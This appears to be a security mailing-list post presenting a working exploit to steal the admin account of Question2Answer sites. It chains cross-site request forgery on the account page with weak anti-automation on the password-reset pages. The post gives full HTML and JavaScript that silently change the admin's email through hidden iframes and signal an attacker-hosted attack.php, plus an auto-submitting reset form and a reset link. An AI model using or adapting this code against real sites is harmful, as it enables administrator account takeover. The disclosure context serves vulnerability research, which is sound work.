Hello!
Here is exploit for stealing admin's account in Question2Answer. This exploit uses Cross-Site Request Forgery vulnerability at http://site/account and Insufficient Anti-automation vulnerabilities at http://site/forgot and http://site/reset, which I've described in the second advisory about Question2Answer (http://websecurity.com.ua/6192/).
http://websecurity.com.ua/uploads/2013/Question2Answer%20Exploit.txt
It will work in all affected versions of Question2Answer (and second part of the attack will work at default settings). If the admin of the target site has changed default settings and setup captcha at http://site/forgot, then server-side part of the attack can be done manually after conducting CSRF attack.
Client-side part of exploit do the next (code provided bellow):
Server-side part of exploit (attack.php) do the next (algorithm):
After receiving the signal from client-side part of exploit, attack.php do the next:
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/forgot" method="post">
<input type="hidden" name="emailhandle" value="[email protected]">
<input type="hidden" name="doforgot" value="1">
</form>
</body>
Code: 4f84yl1d
This line contains code for resetting password.
http://site/reset&c=4f84yl1d&e=email%40attacker.com
Code of client-side exploit for stealing admin's account in Question2Answer:
<html>
<head>
<title>Exploit for stealing admin's account in Question2Answer. Made by MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="StartCSRF()">
<script>
function StartCSRF() {
for (var i=1;i<=2;i++) {
var ifr = document.createElement("iframe");
ifr.setAttribute('name', 'csrf'+i);
ifr.setAttribute('width', '0');
ifr.setAttribute('height', '0');
document.body.appendChild(ifr);
}
CSRF1();
setTimeout(CSRF2,1000);
}
function CSRF1() {
window.frames["csrf1"].document.body.innerHTML = '<form name="hack" action="http://site/account" method="post">\n<input type="hidden" name="handle" value="test">\n<input type="hidden" name="email" value="[email protected]">\n<input type="hidden" name="messages" value="1">\n<input type="hidden" name="mailings" value="1">\n<input type="hidden" name="field_1" value="test">\n<input type="hidden" name="field_2" value="test">\n<input type="hidden" name="field_3" value="test">\n<input type="hidden" name="dosaveprofile" value="1">\n</form>';
window.frames["csrf1"].document.hack.submit();
}
function CSRF2() {
window.frames["csrf2"].document.body.innerHTML = '<form name="hack" action="http://attacker.com/attack.php" method="post">\n<input type="hidden" name="do" value="1">\n</form>';
window.frames["csrf2"].document.hack.submit();
}
</script>
</body>
</html>
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua